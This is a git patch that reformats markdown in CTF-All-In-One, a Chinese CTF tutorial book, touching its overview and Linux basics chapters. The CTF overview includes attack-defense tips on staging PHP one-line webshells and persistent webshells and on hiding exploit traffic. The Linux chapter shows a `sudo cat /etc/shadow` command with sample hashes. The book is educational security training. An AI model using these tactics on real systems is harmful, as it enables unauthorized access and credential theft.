From 89825f05449eb37e5c3aad74635d8268ce69b339 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 5 Aug 2018 17:43:10 +0800 Subject: [PATCH] use markdownlint --- .markdownlint.json | 5 + CONTRIBUTION.md | 13 +- README.md | 35 +- SUMMARY.md | 3 +- doc/1.1.5_rop_arm.md | 0 doc/1.1_ctf.md | 69 +- doc/1.2_how_to_learn.md | 6 +- doc/1.3_linux_basic.md | 423 +++++---- doc/1.4.1_html_basic.md | 56 +- doc/1.4.2_http_basic.md | 136 +-- doc/1.4.3_javascript_basic.md | 86 +- doc/1.4.4_webserver_basic.md | 91 +- doc/1.4.5_owasp_basic.md | 43 +- doc/1.5.11_jemalloc.md | 40 +- doc/1.5.1_c_basic.md | 182 ++-- doc/1.5.2_x86_x64.md | 23 +- doc/1.5.3_elf.md | 178 ++-- doc/1.5.6_dynamic_link.md | 11 +- doc/1.5.7_memory.md | 343 ++++--- doc/1.5.8_glibc_malloc.md | 51 +- doc/1.5.9_linux_kernel.md | 102 ++- doc/1.5_reverse_basic.md | 16 +- doc/1.7.2_dalvik.md | 173 ++-- doc/1.7.4_android_tools.md | 81 +- doc/1.7_android_basic.md | 8 +- doc/2.1.1_virtualbox.md | 38 +- doc/2.1.2_qemu.md | 12 +- doc/2.1.4_unicorn.md | 4 +- doc/2.2.1_radare2.md | 166 +++- doc/2.2.2_idapro.md | 20 +- doc/2.2.3_jeb.md | 4 +- doc/2.2.4_capstone.md | 8 +- doc/2.2.5_keystone.md | 2 +- doc/2.3.1_gdb.md | 197 ++-- doc/2.3.2_ollydbg.md | 6 +- doc/2.3.3_x64dbg.md | 4 +- doc/2.3.4_windbg.md | 8 +- doc/2.3.5_lldb.md | 2 +- doc/2.4.1_pwntools.md | 103 ++- doc/2.4.2_zio.md | 29 +- doc/2.4.4_binwalk.md | 28 +- doc/2.4.5_burpsuite.md | 30 +- doc/2.4.7_cuckoo.md | 4 +- doc/3.1.10_kernel_rop.md | 2 +- doc/3.1.11_linux_kernel_exploit.md | 43 +- doc/3.1.12_windows_kernel_exploit.md | 2 +- doc/3.1.1_format_string.md | 340 ++++--- doc/3.1.2_integer_overflow.md | 299 +++--- doc/3.1.4_rop_x86.md | 488 ++++++---- doc/3.1.6_heap_exploit_1.md | 852 ++++++++++-------- doc/3.1.7_heap_exploit_2.md | 175 ++-- doc/3.1.8_heap_exploit_3.md | 262 ++++-- doc/3.1.9_heap_exploit_4.md | 7 +- doc/3.2.1_patch_binary.md | 58 +- doc/3.2.4_pe_anti_debugging.md | 118 ++- doc/3.2.6_instruction_confusion.md | 120 ++- doc/4.12_stack_chk_fail.md | 37 +- doc/4.13_io_file.md | 73 +- doc/4.14_glibc_tcache.md | 185 ++-- doc/4.15_vsyscall_vdso.md | 14 +- doc/4.1_linux_kernel_debug.md | 211 +++-- doc/4.2_Linux_terminal_tips.md | 64 +- doc/4.3_gcc_arg.md | 79 +- doc/4.4_gcc_sec.md | 139 +-- doc/4.5_defense_rop.md | 25 +- doc/4.6_one-gadget_rce.md | 21 +- doc/4.7_common_gadget.md | 42 +- doc/4.8_dynelf.md | 52 +- doc/4.9_shellcode.md | 6 +- doc/5.0_vulnerability.md | 11 +- doc/5.1.1_afl_fuzzer.md | 8 +- doc/5.1.2_libfuzzer.md | 2 +- doc/5.10_diff_based_analysis.md | 15 +- doc/5.11.1_retdec.md | 56 +- doc/5.1_fuzzing.md | 36 +- doc/5.2.1_pin.md | 157 ++-- doc/5.2.3_valgrind.md | 7 +- doc/5.3.1_angr.md | 131 ++- doc/5.3.2_triton.md | 1 + doc/5.3.3_klee.md | 1 + doc/5.3.4_s2e.md | 1 + doc/5.3_symbolic_execution.md | 45 +- doc/5.4.1_soot.md | 4 +- doc/5.4_dataflow_analysis.md | 93 +- doc/5.5_taint_analysis.md | 56 +- doc/5.6.1_clang.md | 14 +- doc/5.6_llvm.md | 39 +- doc/5.8.1_z3.md | 49 +- doc/5.8_sat-smt.md | 2 +- doc/5.9_pattern_based_analysis.md | 20 +- doc/6.1.10_pwn_0ctf2017_babyheap2017.md | 107 ++- doc/6.1.11_pwn_9447ctf2015_search_engine.md | 13 +- doc/6.1.12_pwn_n1ctf2018_vote.md | 23 +- doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md | 103 ++- doc/6.1.14_pwn_32c3ctf2015_readme.md | 122 ++- doc/6.1.15_pwn_34c3ctf2017_simplegc.md | 151 +++- doc/6.1.16_pwn_hitbctf2017_1000levels.md | 108 ++- doc/6.1.17_pwn_secconctf2016_jmper.md | 77 +- doc/6.1.18_pwn_hitbctf2017_sentosa.md | 102 ++- doc/6.1.19_pwn_hitbctf2018_gundam.md | 124 ++- doc/6.1.1_pwn_hctf2016_brop.md | 99 +- doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md | 69 +- doc/6.1.21_pwn_hitconctf2016_secret_holder.md | 92 +- doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md | 86 +- doc/6.1.23_pwn_bctf2016_bcloud.md | 103 ++- doc/6.1.24_hitconctf2016_house_of_orange.md | 177 ++-- doc/6.1.25_pwn_hctf2017_babyprintf.md | 60 +- doc/6.1.26_pwn_34c3ctf2017_300.md | 99 +- doc/6.1.27_pwn_secconctf2016_tinypad.md | 10 +- doc/6.1.28_pwn_asisctf2016_b00ks.md | 80 +- ...29_pwn_insomnictf2017_the_great_escape3.md | 11 +- doc/6.1.2_pwn_njctf2017_pingme.md | 83 +- ....30_pwn_hitconctf2017_ghost_in_the_heap.md | 13 +- doc/6.1.31_pwn_hitbctf2018_mutepig.md | 13 +- doc/6.1.32_pwn_secconctf2017_vm_no_fun.md | 15 +- doc/6.1.33_pwn_34c3ctf2017_lfa.md | 6 +- doc/6.1.34_pwn_n1ctf2018_memsafety.md | 6 +- doc/6.1.3_pwn_xdctf2015_pwn200.md | 292 +++--- doc/6.1.4_pwn_backdoorctf2017_fun_signals.md | 78 +- doc/6.1.5_pwn_grehackctf2017_beerfighter.md | 42 +- doc/6.1.6_pwn_defconctf2015_fuckup.md | 15 +- doc/6.1.7_pwn_0ctf2015_freenote.md | 180 ++-- doc/6.1.8_pwn_dctf2017_flex.md | 92 +- doc/6.1.9_pwn_rhme3_exploitation.md | 174 ++-- doc/6.2.1_re_xhpctf2017_dont_panic.md | 50 +- doc/6.2.2_re_ectf2016_tayy.md | 56 +- doc/6.2.3_re_codegatectf2017_angrybird.md | 65 +- doc/6.2.4_re_csawctf2015_wyvern.md | 99 +- doc/6.2.5_re_picoctf2014_baleful.md | 238 ++--- doc/6.2.6_re_secconctf2017_printf_machine.md | 10 +- doc/6.2.7_re_codegatectf2018_redvelvet.md | 10 +- doc/6.2.8_re_defcampctf2015_entry_language.md | 26 +- doc/6.3.1_web_hctf2017_babycrack.md | 243 ++--- doc/7.1.1_tcpdump_2017-11543.md | 211 +++-- doc/7.1.2_glibc_2015-0235.md | 94 +- doc/7.1.3_wget_2016-4971.md | 90 +- doc/7.1.4_wget_2017-13089.md | 197 ++-- doc/7.1.5_glibc_2018-1000001.md | 115 ++- doc/7.1.6_dnstracer_2017-9430.md | 167 ++-- doc/7.1.7_binutils_2018-6323.md | 129 +-- doc/7.1.8_adobe_reader_2010-2883.md | 260 ++++-- doc/7.1.9_ms_word_2010-3333.md | 11 +- doc/8.10_aeg.md | 50 +- doc/8.11_aslp.md | 1 - doc/8.12_aslr_on_the_line.md | 1 - doc/8.13_reverse_engineering.md | 50 +- doc/8.14_detecting_memory_allocators.md | 1 - doc/8.15_emu_vs_real.md | 87 +- doc/8.16_dynalog.md | 61 +- doc/8.17_actual_permissions.md | 39 +- doc/8.18_malware_markov.md | 69 +- doc/8.19_droidnative.md | 70 +- doc/8.1_ret2libc_without_calls.md | 11 +- doc/8.20_droidanalytics.md | 59 +- doc/8.21_tracing_to_detect_spraying.md | 1 - doc/8.22_memory_checking.md | 1 - doc/8.23_current_anti-rop.md | 1 - doc/8.24_runtime_re-randomization.md | 1 - doc/8.25_angr.md | 76 +- doc/8.26_driller.md | 37 +- doc/8.27_firmalice.md | 63 +- doc/8.28_cross_arch_bug.md | 3 +- doc/8.29_dynamic_hooks.md | 1 - doc/8.2_rop_without_ret.md | 78 +- doc/8.30_prevent_brute_force_canary.md | 1 - doc/8.31_wysinwyx.md | 1 - doc/8.32_mayhem.md | 1 - doc/8.33_ucklee.md | 1 - doc/8.34_veritesting.md | 1 - doc/8.35_q.md | 1 - doc/8.36_survey_symbolic_execution.md | 1 - doc/8.37_cute.md | 1 - doc/8.38_tainteraser.md | 1 - doc/8.39_dart.md | 1 - doc/8.3_rop_rootkits.md | 18 +- doc/8.40_exe.md | 1 - doc/8.41_intpatch.md | 1 - doc/8.42_taintcheck.md | 1 - doc/8.43_dta++.md | 1 - doc/8.44_multiverse.md | 1 - doc/8.45_ramblr.md | 3 +- doc/8.46_freeguard.md | 1 - doc/8.47_jop.md | 1 - doc/8.48_uroboros.md | 1 - doc/8.49_ioc.md | 1 - doc/8.4_ropdefender.md | 21 +- doc/8.5_dop.md | 1 - doc/8.6_brop.md | 1 - doc/8.7_jit-rop_defenses.md | 1 - doc/8.8_dta_and_fse.md | 1 - doc/8.9_symbolic_execution.md | 31 +- doc/8_academic.md | 2 +- doc/9.1_Linuxtools.md | 181 ++-- doc/9.2_wintools.md | 31 +- doc/9.3_books_blogs.md | 8 +- 195 files changed, 8233 insertions(+), 5043 deletions(-) create mode 100644 .markdownlint.json delete mode 100644 doc/1.1.5_rop_arm.md diff --git a/.markdownlint.json b/.markdownlint.json new file mode 100644 index 0000000..529f42a --- /dev/null +++ b/.markdownlint.json @@ -0,0 +1,5 @@ +{ + "MD013": false, + "MD014": false, + "MD033": false +} \ No newline at end of file diff --git a/CONTRIBUTION.md b/CONTRIBUTION.md index 36c91b9..3b25b59 100644 --- a/CONTRIBUTION.md +++ b/CONTRIBUTION.md @@ -1,4 +1,5 @@ # 合作与贡献 + 随着信息安全的迅速发展,CTF 竞赛也在如火如荼的开展,有人说“今天的 ACM 就是明天的 CTF”,颇有几分道理。 市场上已经充斥着大量的 ACM 书籍,而 CTF 以其知识内容之分散、考察面之广泛、题目类型之多变,让许多新手不知所措,同时也加大了该方面书籍的编写难度。 @@ -13,10 +14,11 @@ -- 开始于 2017.7.15 - ## 规范 -#### 目录结构 -``` + +### 目录结构 + +```text . ├── .gitignore ├── .travis.yml @@ -62,10 +64,12 @@ - `slides`:该目录包含以书为主要内容制作的幻灯片。(ppt) - `build`:该目录包含使用 LaTeX 生成的 PDF 书籍。(pdf) -#### 注意事项 +### 注意事项 + - 在开始编写某一个内容之前,请先在下面的表格里注明,以避免重复和冲突。如果是已经完成的章节,则可以直接进行修改。 - 每个章节开头需要有一个目录,增加或删除内容时需要做相应的修改,GitHub 独特的页面跳转写法是:大写换小写,空格换“-”,然后删掉除下划线以外的其他字符。 - [中文文案排版指北](https://github.com/sparanoid/chinese-copywriting-guidelines)。 +- 推荐使用 VSCode,安装插件 markdownlint,对格式进行[规范](https://github.com/DavidAnson/markdownlint/blob/master/doc/Rules.md)。 - 可能用到的几个网站:[Graphviz](https://www.graphviz.org/),[asciiflow](http://asciiflow.com/),[asciinema](https://asciinema.org/),[ProcessOn](https://www.processon.com)。 - 如果你新添加一个章节,需要在 **SUMMARY.md** 和章节所属部分相应的文件中添加条目。 - 新增第六章题解篇,收集各种好题的 Writeup,应力求详细,且能提供程序供实际操作,一个 md 只写一题,所有文件上传到目录 `src/writeup`,题目最好来自 [CTFs](https://github.com/ctfs)。 @@ -76,7 +80,6 @@ - 看了下 GitBook 导出的 PDF,排版有点不忍直视,计划转战 LaTeX(XeLaTeX),即提供 md 和 tex 两个版本,tex 版本放在目录 `tex/` 下。 - 有外国小哥哥邮件我希望提供了英文版,鉴于某人的英文水平,可能暂时不太现实,如果有人愿意承担这一部分工作,请告诉我。 - | 章节 | 作者 | 进度 | | ------------- | ----------- | ---- | | 2.6_idapro.md | Sky3 | 未完成 | diff --git a/README.md b/README.md index c9ecec7..2f03a26 100644 --- a/README.md +++ b/README.md @@ -1,39 +1,40 @@ -CTF-All-In-One(CTF 从入门到放弃) +# CTF-All-In-One(CTF 从入门到放弃) + --- [![Build Status](https://travis-ci.org/firmianay/CTF-All-In-One.svg?branch=master)](https://travis-ci.org/firmianay/CTF-All-In-One) *——“与其相信谣言,不如一直学习。”* -GitHub 地址:https://github.com/firmianay/CTF-All-In-One +GitHub 地址: -GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details +GitBook 地址: PDF/Mobi/ePub 文件下载地址: -- (推荐)https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one -- (不推荐)https://github.com/firmianay/CTF-All-In-One/releases +- (推荐) +- (不推荐) + +## 目录 -目录 ---- 请查看 [SUMMARY.md](https://github.com/firmianay/CTF-All-In-One/blob/master/SUMMARY.md) -合作和贡献 ---- +## 合作和贡献 + 请查看 [CONTRIBUTION.md](https://github.com/firmianay/CTF-All-In-One/blob/master/CONTRIBUTION.md) -常见问题 ---- +## 常见问题 + 请查看 [FAQ.md](https://github.com/firmianay/CTF-All-In-One/blob/master/FAQ.md) -修改记录 ---- +## 修改记录 + 请查看 [CHANGELOG](https://github.com/firmianay/CTF-All-In-One/blob/master/CHANGELOG) -致谢 ---- +## 致谢 + 请查看 [THANKS](https://github.com/firmianay/CTF-All-In-One/blob/master/THANKS) -LICENSE ---- +## LICENSE + CC BY-SA 4.0 diff --git a/SUMMARY.md b/SUMMARY.md index 66d5525..7485fd4 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -1,7 +1,6 @@ # Summary -GitHub 地址:https://github.com/firmianay/CTF-All-In-One - +GitHub 地址: * [简介](README.md) * [前言](doc/0_preface.md) diff --git a/doc/1.1.5_rop_arm.md b/doc/1.1.5_rop_arm.md deleted file mode 100644 index e69de29..0000000 diff --git a/doc/1.1_ctf.md b/doc/1.1_ctf.md index 7b643fd..3254e68 100644 --- a/doc/1.1_ctf.md +++ b/doc/1.1_ctf.md @@ -8,26 +8,27 @@ - [线下赛 AWD 模式](#线下赛-awd-模式) - [搭建 CTF 比赛平台](#搭建-ctf-比赛平台) - ## 概述 + CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯”。 CTF 为团队赛,通常以三人为限,要想在比赛中取得胜利,就要求团队中每个人在各种类别的题目中至少精通一类,三人优势互补,取得团队的胜利。同时,准备和参与 CTF 比赛是一种有效将计算机科学的离散面、聚焦于计算机安全领域的方法。 - ## 赛事介绍 + CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。 CTF竞赛模式具体分为以下三类: -1. 解题模式(Jeopardy) -在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。 -2. 攻防模式(Attack-Defense) -在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作。 -3. 混合模式(Mix) -结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。 +- 解题模式(Jeopardy) + - 在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。 +- 攻防模式(Attack-Defense) + - 在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作。 +- 混合模式(Mix) + - 结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。 ## 题目类别 + - Reverse - 题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译功底。主要考查参赛选手的逆向分析能力。 - 所需知识:汇编语言、加密与解密、常见反编译工具 @@ -47,8 +48,8 @@ CTF竞赛模式具体分为以下三类: - 主要分为 Android 和 iOS 两个平台,以 Android 逆向为主,破解 APK 并提交正确答案。 - 所需知识:Java,Android 开发,常见工具 - ## 高质量的比赛 + 详见:[ctftime.org](http://www.ctftime.org) - Pwn2Own @@ -59,8 +60,8 @@ CTF竞赛模式具体分为以下三类: - 机器人的CTF攻防比赛 - 自动化漏洞挖掘、漏洞利用、程序分析、程序补丁 - ## 竞赛小贴士 + - 寻找团队 - 彼此激励24小时以上的连续作战 - 彼此分享交流技术与心得是最快的成长途径 @@ -70,38 +71,40 @@ CTF竞赛模式具体分为以下三类: - 坚持不懈地训练是成为强者的必经途径 - wargame - 经典赛题配合writeup加以总结 - - https://github.com/ctfs - 以赛代练 - 总结与分享 + - [ctfs](https://github.com/ctfs) + - 以赛代练 + - 总结与分享 - wargame推荐 - 漏洞挖掘与利用 - pwnable.kr - - https://exploit-exercises.com/ - - https://io.netgarage.org/ + - [exploit-exercises](https://exploit-exercises.com/) + - [netgarage](https://io.netgarage.org/) - 逆向工程与软件破解 - - reversing.kr - - http://crackmes.de/ + - [reversing.kr](http://reversing.kr/) + - [crackmes.de](http://crackmes.de/) - web渗透 - - webhacking.kr - - https://xss-game.appspot.com/ + - [webhacking.kr](http://webhacking.kr/) + - [xss-game](https://xss-game.appspot.com/) - 综合类 - - http://overthewire.org/wargames/ - - https://w3challs.com/ - - https://chall.stypr.com/?chall - - https://pentesterlab.com/ - - id0-rsa.pub - + - [wargames](http://overthewire.org/wargames/) + - [w3challs](https://w3challs.com/) + - [Stereotyped Challenges](https://chall.stypr.com/?chall) + - [pentesterlab](https://pentesterlab.com/) + - [id0-rsa.pub](https://id0-rsa.pub/) ## 线下赛 AWD 模式 + Attack With Defence,简而言之就是你既是一个 hacker,又是一个 manager。 比赛形式:一般就是一个 ssh 对应一个服务,可能是 web 也可能是 pwn,然后 flag 五分钟一轮,各队一般都有自己的初始分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check,check 不过就扣分,扣除的分值由服务 check 正常的队伍均分。 -#### 怎样拿到 flag +### 怎样拿到 flag + 1. web 主要是向目标服务器发送 http 请求,返回 flag 2. bin 主要是通过 exploit 脚本读取 `/home/username` 下某个文件夹下的 flag 文件 -#### Web 题目类型 +### Web 题目类型 + 1. 出题人自己写的 CMS 或者魔改后的 CMS(注意最新漏洞、1day 漏洞等) 2. 常见(比如 `Wordpress` 博客啊、`Discuz!` 论坛啊)或者不常见 CMS 等 3. 框架型漏洞(CI等) @@ -116,7 +119,8 @@ Attack With Defence,简而言之就是你既是一个 hacker,又是一个 ma - 脚本准备:一句话,文件包含,不死马、禁止文件上传等 - **警惕 web 弱口令,用最快的速度去补。** -#### Bin 题目类型 +### Bin 题目类型 + 大部分是 PWN,题目类型包括栈、堆、格式化字符串等等。 - 能力: @@ -127,7 +131,8 @@ Attack With Defence,简而言之就是你既是一个 hacker,又是一个 ma - 如果二进制分析遇到障碍难以进行,那就去帮帮 web 选手运维 - 看看现场环境是否可以提权,这样可以方便我们搞操作(如魔改 libc 等等) -#### 技巧 +### 技巧 + - 如果自己拿到 FB, 先用 NPC 服务器或者自己服务器测试,格外小心自己的 payload 不要被别的队伍抓取到, 写打全场的 exp 时,一定要加入混淆流量。 - 提前准备好 PHP 一句话木马等等脚本。 - 小心其他队伍恶意攻击使我们队伍机器的服务不能正常运行,因此一定要备份服务器的配置。 @@ -137,12 +142,12 @@ Attack With Defence,简而言之就是你既是一个 hacker,又是一个 ma - 不要忽视 Github 等平台,可能会有写好的 exp 可以用。 - 将 flag 的提交自动化。 - ## 搭建 CTF 比赛平台 + - [FBCTF](https://github.com/facebook/fbctf) - The Facebook CTF is a platform to host Jeopardy and “King of the Hill” style Capture the Flag competitions. - [CTFd](https://github.com/CTFd/CTFd) - CTFd is a Capture The Flag in a can. It's easy to customize with plugins and themes and has everything you need to run a jeopardy style CTF. - [SecGen](https://github.com/cliffe/SecGen) - SecGen creates vulnerable virtual machines so students can learn security penetration testing techniques. - ## 参考 -https://baike.baidu.com/item/ctf/9548546#viewPageContent + +- [ctf(夺旗赛)](https://baike.baidu.com/item/ctf/9548546#viewPageContent) diff --git a/doc/1.2_how_to_learn.md b/doc/1.2_how_to_learn.md index 7bac01b..dd46a27 100644 --- a/doc/1.2_how_to_learn.md +++ b/doc/1.2_how_to_learn.md @@ -1,7 +1,3 @@ # 1.2 学习方法 -- [提问的智慧](#提问的智慧) - - -## 提问的智慧 -https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way +- [提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way) diff --git a/doc/1.3_linux_basic.md b/doc/1.3_linux_basic.md index 74f248f..8165867 100644 --- a/doc/1.3_linux_basic.md +++ b/doc/1.3_linux_basic.md @@ -15,8 +15,8 @@ - [procfs](#procfs) - [参考资料](#参考资料) - ## 常用基础命令 + ```text ls 用来显示目标列表 @@ -74,6 +74,7 @@ exit 退出 shell ``` 使用变量: + ```text var=value 给变量var赋值value @@ -83,8 +84,9 @@ $var, ${var} 取变量的值 'string' 非替换字符串 -"string" 可替换字符串 +"string" 可替换字符串 ``` + ```text $ var="test"; $ echo $var @@ -103,8 +105,8 @@ $ echo $0 $ $($0) ``` - ## Bash 快捷键 + ```text Up(Down) 上(下)一条指令 @@ -128,10 +130,11 @@ Ctrl + Shift + c 复制 Ctrl + Shift + v 粘贴 ``` -更多细节请查看:https://ss64.com/bash/syntax-keyboard.html +更多细节请查看:[Bash Keyboard Shortcuts](https://ss64.com/bash/syntax-keyboard.html) ## 根目录结构 + ```text $ uname -a Linux manjaro 4.11.5-1-ARCH #1 SMP PREEMPT Wed Jun 14 16:19:27 CEST 2017 x86_64 GNU/Linux @@ -158,7 +161,9 @@ drwxrwxrwt 36 root root 1060 Aug 14 21:27 tmp drwxr-xr-x 11 root root 4096 Aug 14 13:54 usr drwxr-xr-x 12 root root 4096 Jun 28 20:17 var ``` + 由于不同的发行版会有略微的不同,我们这里使用的是基于 Arch 的发行版 Manjaro,以上就是根目录下的内容,我们介绍几个重要的目录: + - `/bin`、`/sbin`:链接到 `/usr/bin`,存放 Linux 一些核心的二进制文件,其包含的命令可在 shell 上运行。 - `/boot`:操作系统启动时要用到的程序。 - `/dev`:包含了所有 Linux 系统中使用的外部设备。需要注意的是这里并不是存放外部设备的驱动程序,而是一个访问这些设备的端口。 @@ -176,27 +181,30 @@ drwxr-xr-x 12 root root 4096 Jun 28 20:17 var - `/usr/src`:内核源代码的存放目录。 - `/var`:存放了很多服务的日志信息。 - ## 进程管理 -- top - - 可以实时动态地查看系统的整体运行情况。 -- ps - - 用于报告当前系统的进程状态。可以搭配 kill 指令随时中断、删除不必要的程序。 - - 查看某进程的状态:`$ ps -aux | grep [file]`,其中返回内容最左边的数字为进程号(PID)。 -- kill - - 用来删除执行中的程序或工作。 - - 删除进程某 PID 指定的进程:`$ kill [PID]` +- top + - 可以实时动态地查看系统的整体运行情况。 +- ps + - 用于报告当前系统的进程状态。可以搭配 kill 指令随时中断、删除不必要的程序。 + - 查看某进程的状态:`$ ps -aux | grep [file]`,其中返回内容最左边的数字为进程号(PID)。 +- kill + - 用来删除执行中的程序或工作。 + - 删除进程某 PID 指定的进程:`$ kill [PID]` ## UID 和 GID + Linux 是一个支持多用户的操作系统,每个用户都有 User ID(UID) 和 Group ID(GID),UID 是对一个用户的单一身份标识,而 GID 则对应多个 UID。知道某个用户的 UID 和 GID 是非常有用的,一些程序可能就需要 UID/GID 来运行。可以使用 `id` 命令来查看: + ```text $ id root uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log) $ id firmy uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),3(sys),7(lp),10(wheel),90(network),91(video),93(optical),95(storage),96(scanner),98(power),56(bumblebee) ``` + UID 为 0 的 root 用户类似于系统管理员,它具有系统的完全访问权。我自己新建的用户 firmy,其 UID 为 1000,是一个普通用户。GID 的关系存储在 `/etc/group` 文件中: + ```text $ cat /etc/group root:x:0:root @@ -205,13 +213,17 @@ daemon:x:2:root,bin,daemon sys:x:3:root,bin,firmy ...... ``` + 所有用户的信息(除了密码)都保存在 `/etc/passwd` 文件中,而为了安全起见,加密过的用户密码保存在 `/etc/shadow` 文件中,此文件只有 root 权限可以访问。 + ```text $ sudo cat /etc/shadow root:$6$root$wvK.pRXFEH80GYkpiu1tEWYMOueo4tZtq7mYnldiyJBZDMe.mKwt.WIJnehb4bhZchL/93Oe1ok9UwxYf79yR1:17264:::::: firmy:$6$firmy$dhGT.WP91lnpG5/10GfGdj5L1fFVSoYlxwYHQn.llc5eKOvr7J8nqqGdVFKykMUSDNxix5Vh8zbXIapt0oPd8.:17264:0:99999:7::: ``` + 由于普通用户的权限比较低,这里使用 `sudo` 命令可以让普通用户以 root 用户的身份运行某一命令。使用 `su` 命令则可以切换到一个不同的用户: + ```text $ whoami firmy @@ -219,40 +231,45 @@ $ su root # whoami root ``` + `whoami` 用于打印当前有效的用户名称,shell 中普通用户以 `$` 开头,root 用户以 `#` 开头。在输入密码后,我们已经从 firmy 用户转换到 root 用户了。 - ## 权限设置 + 在 Linux 中,文件或目录权限的控制分别以读取、写入、执行 3 种一般权限来区分,另有 3 种特殊权限可供运用。 使用 `ls -l [file]` 来查看某文件或目录的信息: + ```text $ ls -l / lrwxrwxrwx 1 root root 7 Jun 21 22:44 bin -> usr/bin drwxr-xr-x 4 root root 4096 Jul 28 08:48 boot -rw-r--r-- 1 root root 18561 Apr 2 22:48 desktopfs-pkgs.txt ``` + 第一栏从第二个字母开始就是权限字符串,权限表示三个为一组,依次是所有者权限、组权限、其他人权限。每组的顺序均为 `rwx`,如果有相应权限,则表示成相应字母,如果不具有相应权限,则用 `-` 表示。 - - `r`:读取权限,数字代号为 “4” - - `w`:写入权限,数字代号为 “2” - - `x`:执行或切换权限,数字代号为 “1” + +- `r`:读取权限,数字代号为 “4” +- `w`:写入权限,数字代号为 “2” +- `x`:执行或切换权限,数字代号为 “1” 通过第一栏的第一个字母可知,第一行是一个链接文件 (`l`),第二行是个目录(`d`),第三行是个普通文件(`-`)。 用户可以使用 `chmod` 指令去变更文件与目录的权限。权限范围被指定为所有者(`u`)、所属组(`g`)、其他人(`o`)和所有人(`a`)。 + - -R:递归处理,将指令目录下的所有文件及子目录一并处理; - <权限范围>+<权限设置>:开启权限范围的文件或目录的该选项权限设置 - - `$ chmod a+r [file]`:赋予所有用户读取权限 + - `$ chmod a+r [file]`:赋予所有用户读取权限 - <权限范围>-<权限设置>:关闭权限范围的文件或目录的该选项权限设置 - - `$ chmod u-w [file]`:取消所有者写入权限 + - `$ chmod u-w [file]`:取消所有者写入权限 - <权限范围>=<权限设置>:指定权限范围的文件或目录的该选项权限设置; - - `$ chmod g=x [file]`:指定组权限为可执行 - - `$ chmod o=rwx [file]`:制定其他人权限为可读、可写和可执行 - -![](../pic/1.3_file.png) + - `$ chmod g=x [file]`:指定组权限为可执行 + - `$ chmod o=rwx [file]`:制定其他人权限为可读、可写和可执行 +![img](../pic/1.3_file.png) ## 字节序 + 目前计算机中采用两种字节存储机制:大端(Big-endian)和小端(Little-endian)。 >MSB (Most Significan Bit/Byte):最重要的位或最重要的字节。 @@ -263,9 +280,10 @@ Big-endian 规定 MSB 在存储时放在低地址,在传输时放在流的开 例如十六进制整数 0x12345678 存入以 1000H 开始的内存中: -![](../pic/1.3_byte_order.png) +![img](../pic/1.3_byte_order.png) 我们在内存中实际地看一下,在地址 `0xffffd584` 处有字符 `1234`,在地址 `0xffffd588` 处有字符 `5678`。 + ```text gdb-peda$ x/w 0xffffd584 0xffffd584: 0x34333231 @@ -291,20 +309,20 @@ db-peda$ x/s 0xffffd584 0xffffd584: "12345678" ``` - ## 输入输出 -- 使用命令的输出作为可执行文件的输入参数 - - `$ ./vulnerable 'your_command_here'` - - `$ ./vulnerable $(your_command_here)` -- 使用命令作为输入 - - `$ your_command_here | ./vulnerable` -- 将命令行输出写入文件 - - `$ 